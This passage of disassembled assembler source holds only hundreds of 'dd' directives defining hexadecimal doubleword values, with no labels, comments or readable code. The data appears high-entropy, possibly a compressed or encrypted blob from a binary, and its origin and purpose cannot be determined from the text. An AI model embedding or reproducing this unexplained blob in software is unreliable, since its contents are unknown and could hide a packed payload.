		dd 5F7E4FF1h, 2C3E4912h, 0DE6246F6h, 0C68001CDh, 32BA209Ah
		dd 5B224EBDh, 5824AB29h, 9356FDBEh, 7F172409h, 722DF7EDh
		dd 0D90D2092h, 29255976h, 83D7ACCh, 7C0B3373h, 0D2C9B330h
		dd 5582778h, 110109DEh,	8982A484h, 7FC6AC51h, 9D5898E8h
		dd 880C5D2h, 0F85026E9h, 0E19EF2Dh, 0E84441EBh,	0B01A02FCh
		dd 250FEAF1h, 53F8333Bh, 59290DC9h, 942BC51Eh, 0FE7AAFAh
		dd 0A340158Bh, 4C1EAFBBh, 608C3B47h, 1B83C78h, 77EF6A2Bh
		dd 0C44B340Dh, 80090555h, 0F552725Eh, 41973F48h, 1202AC58h
		dd 0C8FC54CBh, 0B2B89897h, 0EC1302Eh, 79E12F3Eh, 0A3736990h
		dd 98BFDE0Bh, 17F1F721h, 9912E668h, 3E41E1CEh, 0F04256B3h
		dd 90FD0127h, 0B8B5517Dh, 0EA89596Bh, 9B7A4551h, 5FF8123Fh
		dd 2DC976BCh, 0B23EBA79h, 0F2CD7333h, 87A260F3h, 0D42685Ch
		dd 0D21EECBDh, 6DCEEF45h, 0DA8B915Fh, 0C4006812h, 0A214BB49h
		dd 0FC8F632Dh, 6055243Ch, 580307A2h, 4F7AD095h,	0BA4A8445h
		dd 1DC2D467h, 2274457Ch, 4AB0FCDEh, 38D9FB44h, 4B684E08h
		dd 4CFBE315h, 32353597h, 34A4CBAEh, 0B7E05958h,	0DEC14862h
		dd 4A4CCE10h, 2F25CEA3h, 0DFBAD6C0h, 286A7813h,	0A9955500h
		dd 58311DB0h, 0CD1E60D0h, 4066817Eh, 293FB9E9h,	0D9C0137Ch
		dd 543F95B2h, 0B8FD7196h, 0CD43C40Eh, 0BF686604h, 57F1F6C1h
		dd 40A26448h, 0D832682Fh, 56889715h, 42712F8Eh,	0C904586Bh
		dd 0D5508926h, 543BBE05h, 0BDC05686h, 0ECB17DE3h, 24969729h
		dd 0E1D80124h, 4558AB00h, 0E7BDE914h, 0D558A44Bh, 0ED693612h
		dd 21EBD7D9h, 3B46E02Dh, 8C90E731h, 0E65FA2Bh, 0FE02F209h
		dd 0BDFE5880h, 5881D6B5h, 0E1E4DC88h, 0E8BB5C95h, 0B35B4064h
		dd 0CB0B30AAh, 0FEEB8059h, 0CA0113D9h, 0B050041Ah, 0B9813441h
		dd 9C464EB3h, 6857C27Dh, 0F1791695h, 3F02546Ah,	0DF5BA537h
		dd 270899A8h, 0FF381CFAh, 75EE4E4Fh, 0E9AC7060h, 0F3A807B8h
		dd 0E688671Bh, 7043BC27h, 419E7AD1h, 34F55651h,	5AE24h
		dd 6C385A9Fh, 15659E2Dh, 0CFAC7D5Bh, 81F20741h,	226D6811h
		dd 1FC0263Ch, 433A9779h, 0DC7AE92Ah, 0EC805B0Bh, 92405721h
		dd 538E4C0h, 0B298DE68h, 0EAD03F83h, 8004E283h,	0C4999BF2h
		dd 0BAD4C141h, 7A30CB42h, 0E058E288h, 417D6D3h,	211EB91h
		dd 5E2DAC68h, 564F65CFh, 223E3D93h, 29854EA2h, 127D9AE4h
		dd 0FA1656Eh, 31984AC8h, 0D4B5FFEEh, 91CA6A2h, 0BFF14EB2h
		dd 88E262h, 18D2B850h, 9295B0Fh, 0F41FA5C7h, 0D25EF2CCh
		dd 7C02A0D3h, 0EEDFED05h, 21E0ABE9h, 111F6BDh, 0CD8169C2h
		dd 60A92321h, 0C74B1862h, 85854A7h, 0A1C5E9C4h,	2A90274h
		dd 0D0FA5740h, 0C8FEE81Eh, 485E09Eh, 4AA286Dh, 0BA64CC1Bh
		dd 68B144ACh, 97CD6F54h, 46030E0h, 0EFE97E76h, 57EDAF18h
		dd 0D980C3C9h, 702EE9DDh, 510B84BAh, 900EF250h,	484D427Dh
		dd 0C102E2F3h, 370559BCh, 0DACB6BD7h, 5DE4A215h, 0D9850953h
		dd 0C737EEAAh, 48F1D992h, 0B5515866h, 0F0F66BD0h, 6FECADD6h
		dd 55D2E4B4h, 5CB73B70h, 0AA75C435h, 0CDFA2E16h, 1AB8BFE2h
		dd 5F1C6A56h, 98B66C44h, 81C2C958h, 60193183h, 5D624C17h
		dd 5F57C5CBh, 7E321E4Dh, 636ECA47h, 1D19508Ch, 2E6E1E11h
		dd 7FAFCA36h, 9DF9381h,	1B557C1Ch, 0BBDD4FD3h, 0D0A18675h
		dd 3BCFA52Ah, 209C2DD6h, 0B813C122h, 0DA132AC9h, 49FB1DEBh
		dd 6D007743h, 63291DBCh, 1844529Fh, 0AE126005h,	0F3B603C8h
		dd 0B7E4F2ADh, 90893905h, 8E0C131h, 59D95F2h, 78C24A26h
		dd 5264F44Ch, 900ECD0h,	873EE412h, 0D3D5F7EEh, 2B620B08h
		dd 447E448h, 1133DC24h,	240F7508h, 4858324Dh, 0F38811CCh
		dd 0FF820A45h, 0F1DCD58Bh, 5E1CDA02h, 7C84FD68h, 2DCCE1C7h
		dd 5D032F4Bh, 0C13C2C0Eh, 0F9E944C1h, 0B7462A2Dh, 1C8F3FFEh
		dd 177627F7h, 201EA38h,	3C092EECh, 35ACE0CAh, 75550110h
		dd 61684022h, 0E8326F2Fh, 8070C841h, 8BBE4CF4h,	0A93B6F51h
		dd 205B78A3h, 0DF90EE90h, 0AAF0BDAAh, 0F65F79FAh, 470DC821h
		dd 0C75F35A5h, 405C4790h
		dd 0D3F74BDEh, 0E6C10AC2h, 0E2644808h, 815E4F3Dh, 0AD73685Bh
		dd 18838B9h, 75C95D9h, 69CDE970h, 0B396A40Bh, 6528535Eh
		dd 0A5F725E9h, 53168213h, 55E8A268h, 0EEC06852h, 3DC5F42h
		dd 0DCC4014Fh, 44B0813h, 903CDA68h, 48FC9511h, 0C04B659Fh
		dd 0A3CAF71Ah, 0B08AD8DFh, 6E009FAEh, 449C4FBFh, 0A5318726h
		dd 27275E25h, 9168C0D7h, 60882775h, 9068BC7Fh, 133A2718h
		dd 8193D624h, 60667A26h, 69BD2E25h, 83C21A73h, 7FFB31AAh
		dd 0C937734Fh, 0A9DCB844h, 0CDA975ADh, 0F7A5B8D6h, 43C691C0h
		dd 3A024AD6h, 4003FBD1h, 2F208093h, 0C0EA77A1h,	0D1320809h
		dd 68DC3FE2h, 0DB3D468Bh, 68809ACh, 0E32DF046h,	52F5FC0Ch
		dd 4E98756h, 0B51A5B0Bh, 756B9F5Ch, 3DA0236Dh, 114E4B90h
		dd 5E8487C5h, 0B09FE9AEh, 96142FE9h, 73DB80ABh,	0D6315CCBh
		dd 0FD976DFAh, 4E3FF1A0h, 1690420Dh, 0C33A5C0Ch, 7BD6185Ah
		dd 0F6F0FF7Eh, 0D90A1676h, 0CDCAA174h, 554BED8h, 51724A67h
		dd 4A94B5C2h, 99177DCh,	0B71280Dh, 0FD5AF728h, 0CDBE0A61h
		dd 61FDCEC7h, 0D8C14C1Fh, 0C9062C01h, 77C72A85h, 4C10594Eh
		dd 7EF082F7h, 80C81606h, 5ADCE97Ah, 0A7F6C3C1h,	1E41E63h
		dd 771198F3h, 6C808270h, 28314C79h, 9A4B38B8h, 0CF5188AAh
		dd 0F176AB0Eh, 2C5EDE25h, 2A9BEBFh, 0F83E4DE9h,	6E85C112h
		dd 0E3F16781h, 6857757Eh, 41914AE8h, 0DA33136Ch, 40A6809h
		dd 40256A47h, 1D427C11h, 63012680h, 7D9D0C20h, 94D75092h
		dd 61519760h, 0ECDBC2h,	33182FBBh, 0CB815500h, 7DF40ED1h
		dd 30AC904Bh, 682E43EBh, 98952F02h, 26371871h, 10E04EE4h
		dd 0FA5B3551h, 16BD77E0h, 63466E2h, 21AF8450h, 5F00101h
		dd 26BF6C3Dh, 3DB7360h,	0E971CA58h, 2601226Fh, 685AC604h
		dd 563346D8h, 5AEA6250h, 0BA1AD50Eh, 1210B79Ah,	0D4E6509Ch
		dd 32BC6E5Bh, 666961D4h, 0BC08FBD5h, 5F92F33Fh,	99FE4061h
		dd 0B93F0262h, 0CF20D201h, 5DE93163h, 977D4AC8h, 0EBBDBA0h
		dd 59E83D2Dh, 92F29813h, 44FC8F0Bh, 3583BCB8h, 1DA7EB62h
		dd 5720EB48h, 0B283E195h, 0BB23846Bh, 0DCFFD564h, 311238BAh
		dd 481F32F9h, 9DF7803Fh, 4F40F06Bh, 0F5D17B47h,	0EAFC43F4h
		dd 0FD010421h, 40270EE9h, 82E9FEEh, 0DEF72455h,	18C90275h
		dd 56402860h, 9E274C5Dh, 4A2A7E06h, 5FDA0D02h, 93F87F3Eh
		dd 18FD55CAh, 6EC359A4h, 2D41231Dh, 7718F380h, 30E9FC21h
		dd 0F7235D01h, 16274817h, 854B654Eh, 0C2BD3C33h, 0C9D0A642h
		dd 0B16094B4h, 95C828B0h, 4D092D58h, 7740E0E9h,	0E5CE7311h
		dd 27276C0Bh, 703A768Bh, 1B499668h, 37D183B2h, 0C781A811h
		dd 0C0581667h, 815B1A61h, 0A635CFC0h, 7578281Fh, 0A03BE60Bh
		dd 123254ECh, 8C749522h, 3F23A680h, 4EC0E962h, 80AB748Dh
		dd 0A95187B2h, 34401E7Eh, 28B46526h, 7FA3E8C0h,	77E2794Fh
		dd 0D22F898Ch, 66684840h, 0DC07CAB1h, 0FB5F535h, 5FAACCBEh
		dd 0AC2C9263h, 5CC2F166h, 270EC83Bh, 0A0C4E912h, 92E5E6AEh
		dd 296BDF0h, 0E92DB31Fh, 3E44290Ch, 3705700Fh, 3A536E35h
		dd 0F096D046h, 307C58E8h, 0BC0A83E2h, 74BB5E16h, 5FE7BCCAh
		dd 0FE2AF629h, 0AE5B6F2Eh, 68567840h, 0E618EDh,	0BB535E21h
		dd 1C716E61h, 646B8CCFh, 4D806F0Ch, 4C69464Dh, 0CD0E750Fh
		dd 0ABF35A2Fh, 0AF3F510Bh, 41E1A7FBh, 0E2737A03h, 4B075017h
		dd 7B9AFE5Bh, 44E97461h, 6679F2h, 126C3E93h, 0C905E2C1h
		dd 0B17C7DEAh, 0E5F0144h, 0BF13121Eh, 0B3D0D0E2h, 0AFFEFB12h
		dd 2D7B2AB3h, 1FC6AA7h,	465C5752h, 0AE8C1C0h, 3F1829E9h
		dd 478F84B2h, 47B2FA20h, 0AF7F95B7h, 50BC8754h,	20FEA6Fh
		dd 0E942C280h, 0D8F86382h, 7DF606E3h, 0B1CB27DBh, 0D90BED8Eh
		dd 0EDBC20Ah, 68C37704h, 0C51035A1h, 0BE161E88h, 30EBF301h
		dd 63968A49h, 5185BF82h, 0AEE3EF93h, 25D1CE92h,	0FDF765Ch
		dd 4C76FAB5h, 8929B04Bh, 15EF204h, 0F2AA5AD6h, 9A08DB5Ah
		dd 73F855C6h, 3B7C5809h, 80F77877h, 0FB575E07h,	0F717E622h
		dd 69982028h, 6F188F5Dh, 310B6DBFh, 0FE912D7h, 7E84F5E8h
		dd 50C859D2h, 0D9B607D2h, 3382C680h, 0CEB0BBE6h, 0D667F6CCh
		dd 0C2EEE416h, 5DF38896h, 25028167h, 565BDA28h,	0D3003809h
		dd 0C068B652h, 0E91802EEh, 58686DAAh, 51772E2Ch, 0B1BB07A0h
		dd 3AE5E2C6h, 0F4BF0F46h, 9F169551h, 4E9A8A5Eh,	0CAC4C3F2h
		dd 0A69DBE50h, 4EB9B97Eh, 44BD7A81h, 0D167AA2Bh, 0DB8E56B2h
		dd 1C87899Dh, 0B736EC7Dh, 0F32D5CDAh, 25CF4643h, 0CAFC4DBAh
		dd 88FE755Ah, 34084840h, 94E1A044h, 5F9D4837h, 0F585682Dh
		dd 0DEB2EEBDh, 499B5D37h, 541A2A82h, 0FD7A4A7Eh, 27A87451h
		dd 7C14820Bh, 4185FF7Dh, 59080CC6h, 3005BB86h, 0C7E93BEBh
		dd 733117B4h, 0A5D60E8h, 0C0B70FC3h, 84685212h,	0B846AE8h
		dd 0EB0104E4h, 0B1AA42C5h, 3DF06ABBh, 0C841241Bh, 1FF50C9Bh
		dd 635BE90Dh, 0B18181A8h, 0FB766A33h, 6475D0BFh, 0C8957751h
		dd 0C03504ABh, 4AADF62Bh, 0C1180F27h, 191205EEh, 0B87576A6h
		dd 0E95E0CDCh, 68BBB38Eh, 56BE294Eh, 0F8050E15h, 4475A55Fh
		dd 9D2DF6C4h, 0F1D54C09h, 680CECCBh, 571FA7E1h,	248F8E29h
		dd 0EB1B6285h, 0C331DD8Eh, 2E69E92Dh, 715423C2h, 257968Bh
		dd 167A7503h, 0B9AD63C0h, 97911E9Dh, 0ABCBDF33h, 94512A75h
		dd 0DBE2D36Ah, 55F1378h, 2D4B01BAh, 3B983980h, 5E67F49Ch
		dd 6824E454h, 5B177E31h, 8581B884h, 1BCBCEEEh, 6AA331E6h
		dd 4AE84AE4h, 514BBE2Dh, 5B9DA4F1h, 3B952DAAh, 11F57CFDh
		dd 1E7C174Fh, 0F09136D8h, 4C10400Ch, 754D2B5Ch,	1D3B1C16h
		dd 80450E5h, 0F9672C1h,	9EF77AE4h, 38DE3269h, 0C70B0272h
		dd 82B6B735h, 19A59Bh, 1A5E5DB9h, 0C05AD9B7h, 6CC41FF1h
		dd 0E10920E9h, 7C9C1702h, 7901B668h, 782B828Ah,	5D093DB2h
		dd 2EBE7DB9h, 0B2AAAB13h, 0F7BB85F2h, 0DDC2D91Ch, 0EC6C4D68h
		dd 558E00F8h, 0FD29289Fh, 3A5ACCE9h, 3F080841h,	0B72DDCD5h
		dd 5E7F0107h, 644C445Fh, 64AA0C17h, 0F0DCAA59h,	0CA7FF9F5h
		dd 317110CAh, 4FC85873h, 0AE65954Ah, 238673C0h,	81723027h
		dd 55AC0DC2h, 353FE7ECh, 6A804F19h, 6E425266h, 5AA20C4Ah
		dd 0E0754BC0h, 0B60BFF44h, 6D1D8973h, 0A5A4C55Fh, 77B8E142h
		dd 58810BA5h, 0A6431860h, 0A8555098h, 0C1CB9D07h, 2FE437B9h
		dd 0C25AA272h, 0A123576Eh, 36984DFCh, 8102475Fh, 6428D5EFh
		dd 0A516404Bh, 7A37240Dh, 0FA550F4Ch, 31E9DB81h, 0FB638935h
		dd 4773555Fh, 20945C66h, 0C4EA08FDh, 0A4F7F651h, 0F71396B1h
		dd 0F22A50F1h, 0F14BC6ADh, 0C02617BDh, 32CB05E0h, 0C984EC3Ch
		dd 0D1202A64h, 0DA7CA007h, 1C287F99h, 26DF2508h, 350F9D8h
		dd 0EFC0C7FEh, 3E708004h, 625BFA26h, 5F58B70Fh,	0FF067359h
		dd 2D31CFD8h, 4B8B8BE9h, 0E323A407h, 39DACAEAh,	2C0EB450h
		dd 64C82868h, 8B8C5B13h, 1AB17D51h, 7832C2E9h, 4D60075h
		dd 0EE07340Ah, 5A587AC3h, 10B6B6CBh, 0A44F351Ch, 0B80B05CBh
		dd 800D3364h, 0F36F457h, 260BBF42h, 0B266257h, 0A03F80Bh
		dd 6ABD1F52h, 16590182h, 0F3017E15h, 0A0081C41h, 5D4E141Ch
		dd 0BBB4EEBCh, 2610A5EDh, 6F86CDFh, 2FA47BF2h, 12F3153Fh
		dd 0D075E2Fh, 5C180258h, 2702BBB9h, 0E9663F48h,	0D5784A7Eh
		dd 1E71790Ah, 0BD21C989h, 30DFB029h, 12DF050Bh,	0B502D147h
		dd 7314E8ADh, 0E3E92808h
		dd 0DE728E7h, 2F2750BFh, 6DD02B0Ch, 2DE9F501h, 0A54DE86h
		dd 972008CDh, 0FE5B1451h, 4D3C8767h, 4A8451Fh, 0FB1DF6E9h
		dd 0CF182FE7h, 2FB91691h, 5CD51B12h, 793DCF0h, 0D1B1884Ch
		dd 14C980E9h, 367EF840h, 0F317F1F0h, 5F0837FEh,	0D1FE2D63h
		dd 22EA81C0h, 25232E75h, 706A020Fh, 60550E1Bh, 25C22925h
		dd 0DF58A0E9h, 30021C9Dh, 0F64B1A77h, 0E52E6B08h, 92D1B52h
		dd 93A1F58Ah, 6A29B568h, 277EEEF2h, 6C4FEF4h, 0DD4E3830h
		dd 67634152h, 310DA4Ch,	0E1A97BA4h, 8069205h, 16A74300h
		dd 7CE96F88h, 0EB95A9C6h, 89524B2Fh, 0F2A08CC4h, 5081F416h
		dd 8932E27Bh, 2DF6D645h, 67BD711Eh, 0E60C160Ah,	9304D607h
		dd 0A817A777h, 71FE4F8Ch, 0FEDA4AACh, 6350D677h, 0B7D4AB9Fh
		dd 0E15D16DEh, 0B92720A2h, 0DE2A27FFh, 0EE0FF524h, 94D380A5h
		dd 2B9880FFh, 7F7C3E04h, 79FCDD2Dh, 307FC929h, 0C10C1AB2h
		dd 70FCC57Fh, 0C78EF73h, 282E7C2Ch, 85FEED12h, 892FE8FCh
		dd 2547C217h, 88B13BB5h, 0B01AA96Bh, 0B269CBE9h, 0B35A5F22h
		dd 0BB9126CBh, 0F6024210h, 3E2C0DAh, 0AA68FC48h, 0D66F484Ch
		dd 0A02528F9h, 0F45536C2h, 0EC015AEDh, 0D0365E32h, 47258F53h
		dd 0A01AF524h, 0DD7ABA7Eh, 88A2CAB3h, 0B1E5205h, 0F6F0FE97h
		dd 673C9757h, 6A7E30B7h, 128C053Eh, 0ECF56BE9h,	0BF7C944h
		dd 82E9D6D6h, 3BBB034Ch, 5EC2EED6h, 601AABEBh, 48A1093Ch
		dd 0E306F714h, 0C22CF28h, 5562910Fh, 72BD6973h,	89C30729h
		dd 0B7405763h, 0BE16FC2Bh, 329940Fh, 0FC484B4Ch, 0D2E09D54h
		dd 0FCF5CDC7h, 56B5EE7Ah, 0F89644FDh, 33B800AEh, 312DABF8h
		dd 505812C1h, 0C5C30E51h, 31204D2h, 0C03FF465h,	17D61802h
		dd 4002E0C1h, 2A79DC5h,	0E9C501A0h, 526B8565h, 4D24DA02h
		dd 6A490876h, 0CAD5E6Dh, 9C0C7C06h, 8834CE12h, 0D2A4E2AEh
		dd 5B32E2EBh, 8180A3ECh, 0B59490F5h, 0F4202CB0h, 685C0BD8h
		dd 94772CC2h, 4028AABAh, 0DD541EC9h, 6A68C0C5h,	5E4C727Dh
		dd 0B6B4658h, 82405927h, 0FF8A2F31h, 0CE08F065h, 0EB880141h
		dd 3A505259h, 58E28205h, 0E90BB4EAh, 23C41F5Fh,	0DF87B9BEh
		dd 0D5EF299Fh, 641490B9h, 0AC12B6D7h, 9701E6C0h, 0F328E2C6h
		dd 0BCFEB570h, 4C680F81h, 0A2232447h, 0BFF2D9D1h, 3A869E27h
		dd 70D400A7h, 904F5C45h, 9753AC24h, 1603DD1h, 77685DEBh
		dd 7D97C63Bh, 215C3410h, 32671454h, 40ABD221h, 0E9DD0106h
		dd 10A1C0EDh, 17F34702h, 99469BFEh, 0FD9DC5A4h,	0ED9136B6h
		dd 58626885h, 147907F3h, 0A6E674BBh, 0FEFC5A0Bh, 19EAEAC4h
		dd 0D5649C27h, 0E91235E4h, 5F9D2776h, 680C2862h, 23297638h
		dd 0A6307241h, 0F4031341h, 4BB9E825h, 4DA6B900h, 30E9094Eh
		dd 6878F29Bh, 0D1733B19h, 6A9E0BFh, 0FAD05B53h,	40CC8403h
		dd 0C31A0056h, 88A8D718h, 0D7B8702Dh, 0F5A1484Bh, 0E2040704h
		dd 70B3363Bh, 9672663Fh, 0F1494272h, 81655D09h,	639A5125h
		dd 31DDD6E9h, 8BD821ABh, 56387A68h, 0E256F81h, 1525AEEFh
		dd 56C188EAh, 2C9B30FFh, 0E73B9141h, 4B00744Ch,	505A2DAEh
		dd 0E03CBF57h, 12647CEFh, 0BCECE9F8h, 92CB5F75h, 30A46C25h
		dd 0F382AFC3h, 721C0C97h, 1817540h, 0E4A660EFh,	39F90116h
		dd 7BE617FCh, 0C6B998Bh, 0AFA0CD55h, 0F3694459h, 78EE095Eh
		dd 738CA9F9h, 2ED8DD0h,	12BD4975h, 7F42F529h, 8FC0080Bh
		dd 4E27631Eh, 0A0F87C5Dh, 0E9500A08h, 1DDDF9BCh, 12EA8C55h
		dd 0C1134152h, 820106E1h, 0DD092031h, 0F7A6052Eh, 0BEA701DEh
		dd 0FE39E819h, 47ABE87Fh, 0D5F6801Fh, 2C39409Dh, 7FC07582h
		dd 3F3A2506h, 0E07A3CCCh, 944D1489h, 5AB33C7Fh,	3EDD64C4h
		dd 542B2C8h, 89E78FDFh,	2825AFEAh, 1A8F82FEh, 0C3ABBD00h
		dd 2E74AFAh, 20578935h,	0FBF58462h, 8C38E2DBh, 68417676h
		dd 0C524401Dh, 0A2565E0h, 6BE7C0BAh, 0BE055613h, 55DB6198h
		dd 779A93EEh, 0A50012E4h, 93B3451Dh, 4096A209h,	2372B7Dh
		dd 0C60164C0h, 0C3F0AEE9h, 10382949h, 0EB4E47BBh, 0BD2020Bh
		dd 25C776BBh, 18AFF2C5h, 0B6857CBh, 452F3A12h, 0DF4998F1h
		dd 0BA526B80h, 0D33F76ABh, 9EF2B044h, 0FD31FE03h, 66100577h
		dd 812D0EBBh, 51B2022h,	98CC1714h, 53F800ACh, 105C7BBBh
		dd 0CB048130h, 794E5287h, 0CCF7F1BEh, 6409315Eh, 57DBF74Bh
		dd 0B4020353h, 0D7A7D8B0h, 5051B05h, 0B1CCE932h, 0EF1DD4F4h
		dd 0FC286BEBh, 60CA9653h, 0D52E9D8h, 127F5E81h,	0F17CE1D9h
		dd 0B831741Ch, 0C36E6B0Bh, 33A4D07Ch, 0F33F0F95h, 40DAA626h
		dd 0F13D0B09h, 6439E929h, 0EECC1189h, 252FB834h, 45FD1079h
		dd 9BAA0A3h, 3CAA6070h,	2B5FAB09h, 80B98573h, 742BB450h
		dd 88448163h, 42F9D442h, 2D8FE90Dh, 241AD94Fh, 0EF948973h
		dd 5CA6E742h, 6C577A46h, 84235B34h, 66ECAB47h, 0BFADEFE4h
		dd 20A0E9C3h, 2D1FA76Fh, 7023FD4Eh, 3F09B099h, 7EA4B40h
		dd 0DFED2F6h, 865266C2h, 0E91620D4h, 0FBD83F25h, 6E2D3D41h
		dd 0D6562BFDh, 5D41721Bh, 8F1E2844h, 830A29C1h,	0FE83863h
		dd 4B9C68A9h, 0BB0E0C85h, 984A648Ah, 0E92534E6h, 5E580BB6h
		dd 0E25D5A47h, 0B876002Eh, 3AA51506h, 300D2D21h, 2DCA394Dh
		dd 76C70D15h, 0B8200428h, 0B33304AFh, 0C4FD0156h, 430814C8h
		dd 475B1420h, 5B5759A0h, 8252AAFFh, 0DCBEAD00h,	9751B9FEh
		dd 0D98144F8h, 0C19F0A6h, 496FE918h, 172AB972h,	52433h
		dd 0E03B4F07h, 372DE945h, 9D02660Ah, 5627665Eh,	5EE9D809h
		dd 5DE61295h, 0E69D22F8h, 0C38C7B71h, 0B5C2EBE9h, 0DD29CED8h
		dd 25301B97h, 2809FCDEh, 0C23A5B5Fh, 0BF001516h, 28F20EB3h
		dd 1A2474Eh, 0A1A6D7Ch,	819A71E9h, 753EEF73h, 2280562Ch
		dd 37CD237Eh, 2BFF5BE9h, 51819FACh, 822EBE19h, 0C51B9FC4h
		dd 9583Ah, 85314A2Dh, 58C7219Ch, 2CE76CC0h, 0C3675E0Ah
		dd 5231A0Ch, 9CF1807h, 0A6DC461Eh, 0A6BE806Bh, 7A55035Ch
		dd 90CAC22Dh, 0F4CB8715h, 0FE314A93h, 4B3E998Ah, 4A1F74Eh
		dd 7E586850h, 4C718BEEh, 3A3B20F1h, 279669BAh, 2C15F825h
		dd 430C44Eh, 1838EE81h,	0C715B5Ch, 0C027D755h, 258F584Ch
		dd 0CA6EE36Dh, 5D7C4297h, 6354449Ah, 2E4CFF5Ah,	7C846D25h
		dd 95707256h, 714A4D74h, 80573EF0h, 0EC4FEA80h,	0A0CBF3BDh
		dd 0C9BBD310h, 685B6324h, 0E61D2283h, 0CBF3B034h, 0C132FE24h
		dd 0A275C10Ch, 0F9D8F337h, 25EE652h, 680C85E2h,	8FA325D4h
		dd 0C65209B5h, 0B9510738h, 212579E1h, 0A859CD29h, 0B83C806h
		dd 846FF9CCh, 92C42B6Ah, 752CC2EAh, 82B720D0h, 90F71D2Eh
		dd 19DEA6h, 2E0D721Eh, 250FEC24h, 7C0B7FF4h, 80D8F71Ah
		dd 0D152AE91h, 0F82909C4h, 8EDEBEE9h, 313914A8h, 2CDE3EF3h
		dd 75A77578h, 39FC5BEEh, 5A7C05B5h, 2BEB3FAh, 0BB333668h
		dd 1B71553Dh, 5A3E0269h, 0B685547h, 2913FBC5h, 3E000CA2h
		dd 6B3624EEh, 971C9068h, 8AD7798h, 176BFA48h, 0D7D00253h
		dd 5C9859B3h, 0B506963Eh, 0D02C4423h, 7E59652h,	62F079BDh
		dd 9954A6B5h, 0AFCC10FEh, 0C2835F0Bh, 5C23C7Ch,	4B7E5102h
		dd 578D7D06h, 64949198h, 6F3D1B24h, 0D0E26903h,	38579749h
		dd 81FBE6E0h, 38342059h, 4DCFA59Fh, 629CF7ABh, 39EBDA0h
		dd 0F0B9FD31h, 13F22950h, 0C7B24617h, 0E8933559h, 0BC4E5E22h
		dd 5AD105FAh, 415D080Fh, 740136F9h, 6DEEB62Bh, 1C091019h
		dd 6AC72A20h, 3C0C6DFCh
		dd 8C3F9A17h, 1D5A26FEh, 655150E7h, 0E9AF3C3Eh,	740DD627h
		dd 685263A3h, 4E9F37A8h, 0A20EE98h, 0F9BE4BD2h,	76347AE6h
		dd 60AA3413h, 7D9F681Ah, 0FDE63A95h, 3052094h, 5E38AA2Ch
		dd 9F51BF81h, 0AD54CB63h, 749856h, 213C2D41h, 2E9C2558h
		dd 538BB01h, 1A981E28h,	0E0D2952Ch, 74265E73h, 4E24BE90h
		dd 9F930720h, 88FCDC27h, 5A02FE32h, 596F0C68h, 1BFE3093h
		dd 214F104Ch, 77608144h, 4F035C14h, 0DDF754D4h,	0A51A044Ah
		dd 0BCD2DB15h, 0EB1FD82Dh, 89D254A5h, 5B32A94Ch, 0CE611242h
		dd 0E8AB8008h, 70AE255Dh, 5360E514h, 49E91307h,	0ED1AF4B4h
		dd 0AA3BE741h, 0E3CDC71Fh, 48421268h, 0D94260C7h, 885D9D2Eh
		dd 590008B4h, 57DFF75Bh, 0A2CCD483h, 4C0CB310h,	384B1631h
		dd 12A11ABCh, 6368002Ah, 369B0335h, 0BE2D4058h,	0E961B380h
		dd 0D2BBB527h, 165B4A92h, 56111FA2h, 6859C056h,	51C632AFh
		dd 4EBFB51Fh, 4A43A8C8h, 0B85384EEh, 1D53246Fh,	0F49D608h
		dd 0BE53EF31h, 0E6C763E4h, 887E04A2h, 8805DEE9h, 0FD5136D4h
		dd 8FD60FCh, 738E1E6h, 844FFD49h, 0B41F01C5h, 27A05A97h
		dd 6B2D0E05h, 7E8174BBh, 7B4A405Fh, 7C077710h, 0E95D11A0h
		dd 16C48D5Fh, 0AC6AA8BEh, 96237AE9h, 1EF72541h,	0E4489F8Eh
		dd 89AAA836h, 0BF5C5E77h, 2D5558E9h, 0A52A0C0Ch, 0E92F6018h
		dd 0E8C1DB2Dh, 0F24804B7h, 56CD4F77h, 6DA2CD01h, 0CCA04FAEh
		dd 0A3F44F45h, 2668874Dh, 5F3E9522h, 9E8897D9h,	0EF80034Bh
		dd 83B5A70h, 74F79CF3h,	0BE2FE13h, 0D00999C4h, 0BF7B7D2Ch
		dd 0F75E29E6h, 0EFD737A8h, 944EFFDBh, 10DEEDF0h, 5B0B3BB5h
		dd 2884E228h, 3FFE9983h, 0DF052382h, 7232D252h,	555D0C90h
		dd 0C7E0D2F1h, 25D4B2B5h, 0B280579Eh, 50B1223h,	7058897h
		dd 27F5E909h, 4F64512Fh, 7B71CAFEh, 0A0EE431h, 7D7C0A8Bh
		dd 6AF668A0h, 263D2BC4h, 0E6F52809h, 7B20994h, 10D9DAF6h
		dd 3EE95285h, 0C2C146AFh, 0FA25EBFEh, 5F6CF783h, 0EC9FAF92h
		dd 825DA0ADh, 1BBCDBE7h, 32FAC3C1h, 0E0E33B25h,	7D75C7CDh
		dd 56B76E6h, 0F2DD5F7h,	11CEA8D2h, 0C9028EBEh, 15057CB1h
		dd 56BA9080h, 43B2C4DDh, 37931B0h, 60BB6803h, 245E2283h
		dd 9CE4B37Eh, 3DADACC6h, 0A8375C12h, 305ADE40h,	0EB45DDA5h
		dd 4350F449h, 9704AF6Fh, 186ACBEEh, 85AC21C4h, 0BF5B0840h
		dd 580363C3h, 20E03294h, 61E9B001h, 0BF0B9A51h,	280293F3h
		dd 779C2CF8h, 9D4AA43h,	1A7A038Eh, 3DFE9BD0h, 0BDC693Eh
		dd 27910BDEh, 2E4F94FFh, 12D05DEAh, 403DAF2Eh, 40D04234h
		dd 8B09BAADh, 0DD7C6858h, 0AB7A1B09h, 0F42751B0h, 89FA9CB5h
		dd 0A56A31FFh, 7DAE2E4Fh, 75E5604Bh, 56C30512h,	5FBCC0AEh
		dd 680BAD1Eh, 0DA84DCE9h, 9A4AB7F1h, 0E048CF54h, 0DF0DA909h
		dd 68052DECh, 0A363509h, 26CA82C0h, 8E136706h, 0B3360EAh
		dd 0BEC14A69h, 9DA31955h, 4974927Eh, 0BE07AFD0h, 3F1A459Ah
		dd 645425A2h, 0CEC2049Fh, 0BAF99EF3h, 0A1D99404h, 6CD52906h
		dd 5E26C570h, 7CA577E3h, 467DA728h, 0B8054F99h,	5AD0E1F6h
		dd 3203D289h, 71D481E8h, 0DF02B137h, 0F9D90AE7h, 0BB5300F0h
		dd 30934027h, 0FD9496A3h, 6401D242h, 84E6A7Fh, 914A946Ch
		dd 8216B643h, 2852B322h, 0EA4CF7D8h, 0E925A6E4h, 1F42302h
		dd 4BC77BDAh, 0AE69123Bh, 9E13CE88h, 59C02DB8h,	0C2003168h
		dd 149E2D48h, 4DE940ACh, 0FB7F9BF9h, 147757E0h,	72DF801h
		dd 2C35F26h, 3B5C1AE6h,	0B0E2FC41h, 0ACE9280Dh,	2140C967h
